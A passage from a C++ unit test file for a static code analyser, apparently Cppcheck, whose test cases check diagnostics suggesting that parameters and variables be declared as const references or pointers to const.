ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) 